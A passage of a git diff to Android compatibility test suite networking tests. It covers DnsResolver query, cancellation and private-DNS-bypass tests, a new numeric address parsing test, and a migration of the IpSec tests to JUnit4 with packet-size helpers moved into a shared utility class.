+        doTestQueryForInetAddressIpv6(mExecutorInline);
+    }
+
+    public void testContinuousQueries() throws Exception {
+        doTestContinuousQueries(mExecutor);
+    }
+
+    public void testContinuousQueriesInline() throws Exception {
+        doTestContinuousQueries(mExecutorInline);
+    }
+
+    public void doTestQueryForInetAddress(Executor executor) throws InterruptedException {
+        final String msg = "Test query for InetAddress " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelInetAddressCallback callback =
+                    new VerifyCancelInetAddressCallback(msg, null);
+            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+        }
+    }
+
+    public void testQueryCancelForInetAddress() throws InterruptedException {
+        final String msg = "Test cancel query for InetAddress " + TEST_DOMAIN;
+        // Start a DNS query and the cancel it immediately. Use VerifyCancelInetAddressCallback to
+        // expect that the query is cancelled before it succeeds. If it is not cancelled before it
+        // succeeds, retry the test until it is.
+        for (Network network : getTestableNetworks()) {
+            boolean retry = false;
+            int round = 0;
+            do {
+                if (++round > CANCEL_RETRY_TIMES) {
+                    fail(msg + " cancel failed " + CANCEL_RETRY_TIMES + " times");
+                }
+                final CountDownLatch latch = new CountDownLatch(1);
+                final CancellationSignal cancelSignal = new CancellationSignal();
+                final VerifyCancelInetAddressCallback callback =
+                        new VerifyCancelInetAddressCallback(msg, cancelSignal);
+                mDns.query(network, TEST_DOMAIN, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+                mExecutor.execute(() -> {
+                    cancelSignal.cancel();
+                    latch.countDown();
+                });
+
+                retry = callback.needRetry();
+                assertTrue(msg + " query was not cancelled",
+                        latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            } while (retry);
+        }
+    }
+
+    public void doTestQueryForInetAddressIpv4(Executor executor) throws InterruptedException {
+        final String msg = "Test query for IPv4 InetAddress " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelInetAddressCallback callback =
+                    new VerifyCancelInetAddressCallback(msg, null);
+            mDns.query(network, TEST_DOMAIN, TYPE_A, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+            assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
+        }
+    }
+
+    public void doTestQueryForInetAddressIpv6(Executor executor) throws InterruptedException {
+        final String msg = "Test query for IPv6 InetAddress " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            final VerifyCancelInetAddressCallback callback =
+                    new VerifyCancelInetAddressCallback(msg, null);
+            mDns.query(network, TEST_DOMAIN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+            assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
+        }
+    }
+
+    private void awaitPrivateDnsSetting(@NonNull String msg,
+            @NonNull Network network, @NonNull String server) throws InterruptedException {
+        CountDownLatch latch = new CountDownLatch(1);
+        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+        NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+                    latch.countDown();
+                }
+            }
+        };
+        mCM.registerNetworkCallback(request, callback);
+        assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        mCM.unregisterNetworkCallback(callback);
+    }
+
+    public void testPrivateDnsBypass() throws InterruptedException {
+        final Network[] testNetworks = getTestableNetworks();
+
+        // Set an invalid private DNS server
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+        Settings.Global.putString(mCR,
+                Settings.Global.PRIVATE_DNS_SPECIFIER, INVALID_PRIVATE_DNS_SERVER);
+
+        final String msg = "Test PrivateDnsBypass " + TEST_DOMAIN;
+        for (Network network : testNetworks) {
+            // This test cannot be ran with null network because we need to explicitly pass a
+            // private DNS bypassable network or bind one.
+            if (network == null) continue;
+
+            // wait for private DNS setting propagating
+            awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+                    network, INVALID_PRIVATE_DNS_SERVER);
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final DnsResolver.Callback<List<InetAddress>> errorCallback =
+                    new DnsResolver.Callback<List<InetAddress>>() {
+                        @Override
+                        public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
+                            fail(msg + " should not get valid answer");
+                        }
+
+                        @Override
+                        public void onError(@NonNull DnsResolver.DnsException error) {
+                            assertEquals(DnsResolver.ERROR_SYSTEM, error.code);
+                            assertEquals(ETIMEDOUT, ((ErrnoException) error.getCause()).errno);
+                            latch.countDown();
+                        }
+                    };
+            // Private DNS strict mode with invalid DNS server is set
+            // Expect no valid answer returned but ErrnoException with ETIMEDOUT
+            mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, errorCallback);
+
+            assertTrue(msg + " invalid server round. No response after " + TIMEOUT_MS + "ms.",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            final VerifyCancelInetAddressCallback callback =
+                    new VerifyCancelInetAddressCallback(msg, null);
+            // Bypass privateDns, expect query works fine
+            mDns.query(network.getPrivateDnsBypassingCopy(),
+                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
+
+            assertTrue(msg + " bypass private DNS round. No answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+
+            // To ensure private DNS bypass still work even if passing null network.
+            // Bind process network with a private DNS bypassable network.
+            mCM.bindProcessToNetwork(network.getPrivateDnsBypassingCopy());
+            final VerifyCancelInetAddressCallback callbackWithNullNetwork =
+                    new VerifyCancelInetAddressCallback(msg + " with null network ", null);
+            mDns.query(null,
+                    TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callbackWithNullNetwork);
+
+            assertTrue(msg + " with null network bypass private DNS round. No answer after " +
+                    TIMEOUT_MS + "ms.", callbackWithNullNetwork.waitForAnswer());
+            assertTrue(msg + " with null network returned 0 results",
+                    !callbackWithNullNetwork.isAnswerEmpty());
+
+            // Reset process network to default.
+            mCM.bindProcessToNetwork(null);
+        }
+    }
+
+    public void doTestContinuousQueries(Executor executor) throws InterruptedException {
+        final String msg = "Test continuous " + QUERY_TIMES + " queries " + TEST_DOMAIN;
+        for (Network network : getTestableNetworks()) {
+            for (int i = 0; i < QUERY_TIMES ; ++i) {
+                final VerifyCancelInetAddressCallback callback =
+                        new VerifyCancelInetAddressCallback(msg, null);
+                // query v6/v4 in turn
+                boolean queryV6 = (i % 2 == 0);
+                mDns.query(network, TEST_DOMAIN, queryV6 ? TYPE_AAAA : TYPE_A,
+                        FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+                assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                        callback.waitForAnswer());
+                assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+                assertTrue(msg + " returned " + (queryV6 ? "Ipv4" : "Ipv6") + " results",
+                        queryV6 ? !callback.hasIpv4Answer() : !callback.hasIpv6Answer());
+            }
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/DnsTest.java b/tests/tests/net/src/android/net/cts/DnsTest.java
index 84231c2..746dcb0 100644
--- a/tests/tests/net/src/android/net/cts/DnsTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsTest.java
@@ -287,7 +287,7 @@
         final NetworkCallback callback = new NetworkCallback() {
             @Override
             public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
-                if (lp.hasGlobalIPv6Address()) {
+                if (lp.hasGlobalIpv6Address()) {
                     latch.countDown();
                 }
             }
diff --git a/tests/tests/net/src/android/net/cts/InetAddressesTest.java b/tests/tests/net/src/android/net/cts/InetAddressesTest.java
new file mode 100644
index 0000000..7837ce9
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/InetAddressesTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.net.cts;
+
+import android.net.InetAddresses;
+import java.net.InetAddress;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(JUnitParamsRunner.class)
+public class InetAddressesTest {
+
+    public static String[][] validNumericAddressesAndStringRepresentation() {
+        return new String[][] {
+            // Regular IPv4.
+            { "1.2.3.4", "1.2.3.4" },
+
+            // Regular IPv6.
+            { "2001:4860:800d::68", "2001:4860:800d::68" },
+            { "1234:5678::9ABC:DEF0", "1234:5678::9abc:def0" },
+            { "2001:cdba:9abc:5678::", "2001:cdba:9abc:5678::" },
+            { "::2001:cdba:9abc:5678", "::2001:cdba:9abc:5678" },
+            { "64:ff9b::1.2.3.4", "64:ff9b::102:304" },
+
+            { "::9abc:5678", "::154.188.86.120" },
+
+            // Mapped IPv4
+            { "::ffff:127.0.0.1", "127.0.0.1" },
+
+            // Android does not recognize Octal (leading 0) cases: they are treated as decimal.
+            { "0177.00.00.01", "177.0.0.1" },
+
+            // Verify that examples from JavaDoc work correctly.
+            { "192.0.2.1", "192.0.2.1" },
+            { "2001:db8::1:2", "2001:db8::1:2" },
+        };
+    }
+
+    public static String[] invalidNumericAddresses() {
+        return new String[] {
+            "",
+            " ",
+            "\t",
+            "\n",
+            "1.2.3.4.",
+            "1.2.3",
+            "1.2",
+            "1",
+            "1234",
+            "0",
+            "0x1.0x2.0x3.0x4",
+            "0x7f.0x00.0x00.0x01",
+            "0256.00.00.01",
+            "fred",
+            "www.google.com",
+            // IPv6 encoded for use in URL as defined in RFC 2732
+            "[fe80::6:2222]",
+        };
+    }
+
+    @Parameters(method = "validNumericAddressesAndStringRepresentation")
+    @Test
+    public void parseNumericAddress(String address, String expectedString) {
+        InetAddress inetAddress = InetAddresses.parseNumericAddress(address);
+        assertEquals(expectedString, inetAddress.getHostAddress());
+    }
+
+    @Parameters(method = "invalidNumericAddresses")
+    @Test
+    public void test_parseNonNumericAddress(String address) {
+        try {
+            InetAddress inetAddress = InetAddresses.parseNumericAddress(address);
+            fail(String.format(
+                "Address %s is not numeric but was parsed as %s", address, inetAddress));
+        } catch (IllegalArgumentException e) {
+            assertThat(e.getMessage()).contains(address);
+        }
+    }
+
+    @Test
+    public void test_parseNumericAddress_null() {
+        try {
+            InetAddress inetAddress = InetAddresses.parseNumericAddress(null);
+            fail(String.format("null is not numeric but was parsed as %s", inetAddress));
+        } catch (NullPointerException e) {
+            // expected
+        }
+    }
+
+    @Parameters(method = "validNumericAddressesAndStringRepresentation")
+    @Test
+    public void test_isNumericAddress(String address, String unused) {
+        assertTrue("expected '" + address + "' to be treated as numeric",
+            InetAddresses.isNumericAddress(address));
+    }
+
+    @Parameters(method = "invalidNumericAddresses")
+    @Test
+    public void test_isNotNumericAddress(String address) {
+        assertFalse("expected '" + address + "' to be treated as non-numeric",
+            InetAddresses.isNumericAddress(address));
+    }
+
+    @Test
+    public void test_isNumericAddress_null() {
+        try {
+            InetAddresses.isNumericAddress(null);
+            fail("expected null to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // expected
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
index 7132ecf..10e43e7 100644
--- a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
@@ -19,19 +19,22 @@
 import static org.junit.Assert.assertArrayEquals;
 
 import android.content.Context;
+import android.net.ConnectivityManager;
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
+import android.platform.test.annotations.AppModeFull;
 import android.system.Os;
 import android.system.OsConstants;
-import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import java.io.FileDescriptor;
 import java.io.IOException;
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
-import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.net.InetSocketAddress;
@@ -41,7 +44,12 @@
 import java.util.Arrays;
 import java.util.concurrent.atomic.AtomicInteger;
 
-public class IpSecBaseTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class IpSecBaseTest {
 
     private static final String TAG = IpSecBaseTest.class.getSimpleName();
 
@@ -66,11 +74,19 @@
     protected static final byte[] AUTH_KEY = getKey(256);
     protected static final byte[] CRYPT_KEY = getKey(256);
 
+    protected ConnectivityManager mCM;
     protected IpSecManager mISM;
 
-    protected void setUp() throws Exception {
-        super.setUp();
-        mISM = (IpSecManager) getContext().getSystemService(Context.IPSEC_SERVICE);
+    @Before
+    public void setUp() throws Exception {
+        mISM =
+                (IpSecManager)
+                        InstrumentationRegistry.getContext()
+                                .getSystemService(Context.IPSEC_SERVICE);
+        mCM =
+                (ConnectivityManager)
+                        InstrumentationRegistry.getContext()
+                                .getSystemService(Context.CONNECTIVITY_SERVICE);
     }
 
     protected static byte[] getKey(int bitLength) {
@@ -192,6 +208,17 @@
     public static class JavaUdpSocket implements GenericUdpSocket {
         public final DatagramSocket mSocket;
 
+        public JavaUdpSocket(InetAddress localAddr, int port) {
+            try {
+                mSocket = new DatagramSocket(port, localAddr);
+                mSocket.setSoTimeout(SOCK_TIMEOUT);
+            } catch (SocketException e) {
+                // Fail loudly if we can't set up sockets properly. And without the timeout, we
+                // could easily end up in an endless wait.
+                throw new RuntimeException(e);
+            }
+        }
+
         public JavaUdpSocket(InetAddress localAddr) {
             try {
                 mSocket = new DatagramSocket(0, localAddr);
@@ -422,35 +449,36 @@
     }
 
     protected static IpSecTransform buildIpSecTransform(
-            Context mContext,
+            Context context,
             IpSecManager.SecurityParameterIndex spi,
             IpSecManager.UdpEncapsulationSocket encapSocket,
             InetAddress remoteAddr)
             throws Exception {
-        String localAddr = (remoteAddr instanceof Inet4Address) ? IPV4_LOOPBACK : IPV6_LOOPBACK;
         IpSecTransform.Builder builder =
-                new IpSecTransform.Builder(mContext)
-                .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
-                .setAuthentication(
-                        new IpSecAlgorithm(
-                                IpSecAlgorithm.AUTH_HMAC_SHA256,
-                                AUTH_KEY,
-                                AUTH_KEY.length * 4));
+                new IpSecTransform.Builder(context)
+                        .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+                        .setAuthentication(
+                                new IpSecAlgorithm(
+                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
+                                        AUTH_KEY,
+                                        AUTH_KEY.length * 4));
 
         if (encapSocket != null) {
             builder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
         }
 
-        return builder.buildTransportModeTransform(InetAddress.getByName(localAddr), spi);
+        return builder.buildTransportModeTransform(remoteAddr, spi);
     }
 
     private IpSecTransform buildDefaultTransform(InetAddress localAddr) throws Exception {
         try (IpSecManager.SecurityParameterIndex spi =
                 mISM.allocateSecurityParameterIndex(localAddr)) {
-            return buildIpSecTransform(mContext, spi, null, localAddr);
+            return buildIpSecTransform(InstrumentationRegistry.getContext(), spi, null, localAddr);
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaTcpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -461,6 +489,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaUdpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -472,6 +502,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testJavaUdpSocketPairUnconnected() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -483,6 +515,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeTcpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -494,6 +528,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeUdpSocketPair() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
@@ -505,6 +541,8 @@
         }
     }
 
+    @Test
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testNativeUdpSocketPairUnconnected() throws Exception {
         for (String addr : LOOPBACK_ADDRS) {
             InetAddress local = InetAddress.getByName(addr);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
index a18b2f0..355b496 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
@@ -16,46 +16,55 @@
 
 package android.net.cts;
 
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.AES_GCM_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_GCM_IV_LEN;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.TCP_HDRLEN_WITH_TIMESTAMP_OPT;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
 import static android.system.OsConstants.IPPROTO_TCP;
 import static android.system.OsConstants.IPPROTO_UDP;
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertTrue;
 
-import android.content.Context;
-import android.net.ConnectivityManager;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
 import android.net.TrafficStats;
+import android.platform.test.annotations.AppModeFull;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import java.io.FileDescriptor;
 import java.io.IOException;
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
 import java.net.Inet6Address;
 import java.net.InetAddress;
-import java.net.UnknownHostException;
 import java.util.Arrays;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class IpSecManagerTest extends IpSecBaseTest {
 
     private static final String TAG = IpSecManagerTest.class.getSimpleName();
 
-    private ConnectivityManager mCM;
-
-    private static InetAddress IpAddress(String addrString) {
-        try {
-            return InetAddress.getByName(addrString);
-        } catch (UnknownHostException e) {
-            throw new IllegalArgumentException("Invalid IP address: " + e);
-        }
-    }
-
-    private static final InetAddress GOOGLE_DNS_4 = IpAddress("8.8.8.8");
-    private static final InetAddress GOOGLE_DNS_6 = IpAddress("2001:4860:4860::8888");
+    private static final InetAddress GOOGLE_DNS_4 = InetAddress.parseNumericAddress("8.8.8.8");
+    private static final InetAddress GOOGLE_DNS_6 =
+            InetAddress.parseNumericAddress("2001:4860:4860::8888");
 
     private static final InetAddress[] GOOGLE_DNS_LIST =
             new InetAddress[] {GOOGLE_DNS_4, GOOGLE_DNS_6};
@@ -65,28 +74,13 @@
 
     private static final byte[] AEAD_KEY = getKey(288);
 
-    private static final int TCP_HDRLEN_WITH_OPTIONS = 32;
-    private static final int UDP_HDRLEN = 8;
-    private static final int IP4_HDRLEN = 20;
-    private static final int IP6_HDRLEN = 40;
-
-    // Encryption parameters
-    private static final int AES_GCM_IV_LEN = 8;
-    private static final int AES_CBC_IV_LEN = 16;
-    private static final int AES_GCM_BLK_SIZE = 4;
-    private static final int AES_CBC_BLK_SIZE = 16;
-
-    protected void setUp() throws Exception {
-        super.setUp();
-        mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
     /*
      * Allocate a random SPI
      * Allocate a specific SPI using previous randomly created SPI value
      * Realloc the same SPI that was specifically created (expect SpiUnavailable)
      * Close SPIs
      */
+    @Test
     public void testAllocSpi() throws Exception {
         for (InetAddress addr : GOOGLE_DNS_LIST) {
             IpSecManager.SecurityParameterIndex randomSpi = null, droidSpi = null;
@@ -238,13 +232,14 @@
      * release transform
      * send data (expect exception)
      */
+    @Test
     public void testCreateTransform() throws Exception {
         InetAddress localAddr = InetAddress.getByName(IPV4_LOOPBACK);
         IpSecManager.SecurityParameterIndex spi =
                 mISM.allocateSecurityParameterIndex(localAddr);
 
         IpSecTransform transform =
-                new IpSecTransform.Builder(mContext)
+                new IpSecTransform.Builder(InstrumentationRegistry.getContext())
                         .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
                         .setAuthentication(
                                 new IpSecAlgorithm(
@@ -445,19 +440,6 @@
         }
     }
 
-    /** Helper function to calculate expected ESP packet size. */
-    private int calculateEspPacketSize(
-            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
-        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
-        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
-        payloadLen += cryptIvLength; // Initialization Vector
-        payloadLen += 2; // ESP trailer
-
-        // Align to block size of encryption algorithm
-        payloadLen += (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
-        return payloadLen + ESP_HDRLEN + ICV_LEN;
-    }
-
     public void checkTransform(
             int protocol,
             String localAddress,
@@ -475,7 +457,8 @@
                 IpSecManager.SecurityParameterIndex spi =
                         mISM.allocateSecurityParameterIndex(local)) {
 
-            IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(mContext);
+            IpSecTransform.Builder transformBuilder =
+                    new IpSecTransform.Builder(InstrumentationRegistry.getContext());
             if (crypt != null) {
                 transformBuilder.setEncryption(crypt);
             }
@@ -498,7 +481,7 @@
             try (IpSecTransform transform =
                         transformBuilder.buildTransportModeTransform(local, spi)) {
                 if (protocol == IPPROTO_TCP) {
-                    transportHdrLen = TCP_HDRLEN_WITH_OPTIONS;
+                    transportHdrLen = TCP_HDRLEN_WITH_TIMESTAMP_OPT;
                     checkTcp(transform, local, sendCount, useJavaSockets);
                 } else if (protocol == IPPROTO_UDP) {
                     transportHdrLen = UDP_HDRLEN;
@@ -535,7 +518,7 @@
 
         int innerPacketSize = TEST_DATA.length + transportHdrLen + ipHdrLen;
         int outerPacketSize =
-                calculateEspPacketSize(
+                PacketUtils.calculateEspPacketSize(
                                 TEST_DATA.length + transportHdrLen, ivLen, blkSize, truncLenBits)
                         + udpEncapLen
                         + ipHdrLen;
@@ -553,13 +536,13 @@
         // Add TCP ACKs for data packets
         if (protocol == IPPROTO_TCP) {
             int encryptedTcpPktSize =
-                    calculateEspPacketSize(TCP_HDRLEN_WITH_OPTIONS, ivLen, blkSize, truncLenBits);
+                    PacketUtils.calculateEspPacketSize(
+                            TCP_HDRLEN_WITH_TIMESTAMP_OPT, ivLen, blkSize, truncLenBits);
 
-
-                // Add data packet ACKs
-                expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
-                expectedInnerBytes += (TCP_HDRLEN_WITH_OPTIONS + ipHdrLen) * (sendCount);
-                expectedPackets += sendCount;
+            // Add data packet ACKs
+            expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
+            expectedInnerBytes += (TCP_HDRLEN_WITH_TIMESTAMP_OPT + ipHdrLen) * (sendCount);
+            expectedPackets += sendCount;
         }
 
         StatsChecker.waitForNumPackets(expectedPackets);
@@ -620,6 +603,7 @@
         }
     }
 
+    @Test
     public void testIkeOverUdpEncapSocket() throws Exception {
         // IPv6 not supported for UDP-encap-ESP
         InetAddress local = InetAddress.getByName(IPV4_LOOPBACK);
@@ -635,7 +619,7 @@
             try (IpSecManager.SecurityParameterIndex spi =
                             mISM.allocateSecurityParameterIndex(local);
                     IpSecTransform transform =
-                            new IpSecTransform.Builder(mContext)
+                            new IpSecTransform.Builder(InstrumentationRegistry.getContext())
                                     .setEncryption(crypt)
                                     .setAuthentication(auth)
                                     .setIpv4Encapsulation(encapSocket, encapSocket.getPort())
@@ -678,24 +662,28 @@
     //     checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, true, 1000);
     // }
 
+    @Test
     public void testInterfaceCountersUdp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1000, false);
     }
 
+    @Test
     public void testInterfaceCountersUdp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1000, false);
     }
 
+    @Test
     public void testInterfaceCountersUdp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1000, false);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -703,6 +691,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -710,6 +699,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -717,6 +707,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -724,6 +715,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -731,6 +723,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
